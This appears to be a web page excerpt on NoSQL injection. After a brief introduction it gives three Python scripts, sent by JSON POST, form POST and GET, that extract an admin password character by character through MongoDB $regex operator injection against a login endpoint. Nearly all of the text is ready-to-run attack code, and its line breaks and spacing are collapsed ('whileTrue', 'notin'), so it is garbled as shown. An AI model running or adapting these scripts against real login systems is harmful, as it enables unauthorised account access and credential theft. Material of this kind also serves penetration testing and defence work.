NoSQL databases provide looser consistency restrictions than traditional SQL databases. By requiring fewer relational constraints and consistency checks, NoSQL databases often offer performance and scaling benefits. Yet these databases are still potentially vulnerable to injection attacks, even if they aren't using the traditional SQL syntax.
import requestsimport urllib3import stringimport urlliburllib3.disable_warnings()username="admin"password=""u="http://example.org/login"headers={'content-type':'application/json'}whileTrue:for c in string.printable:if c notin ['*','+','.','?','|']: payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}'% (username, password + c) r = requests.post(u, data = payload, headers = headers, verify =False, allow_redirects =False)if'OK'in r.text or r.status_code ==302:print("Found one more char : %s"% (password+c)) password += c
POST with urlencoded body
import requestsimport urllib3import stringimport urlliburllib3.disable_warnings()username="admin"password=""u="http://example.org/login"headers={'content-type':'application/x-www-form-urlencoded'}whileTrue:for c in string.printable:if c notin ['*','+','.','?','|','&','$']: payload='user=%s&pass[$regex]=^%s&remember=on'% (username, password + c) r = requests.post(u, data = payload, headers = headers, verify =False, allow_redirects =False)if r.status_code ==302and r.headers['Location']=='/dashboard':print("Found one more char : %s"% (password+c)) password += c
GET
import requestsimport urllib3import stringimport urlliburllib3.disable_warnings()username='admin'password=''u='http://example.org/login'whileTrue:for c in string.printable:if c notin ['*','+','.','?','|','#','&','$']: payload='?username=%s&password[$regex]=^%s'% (username, password + c) r = requests.get(u + payload)if'Yeah'in r.text:print("Found one more char : %s"% (password+c)) password += c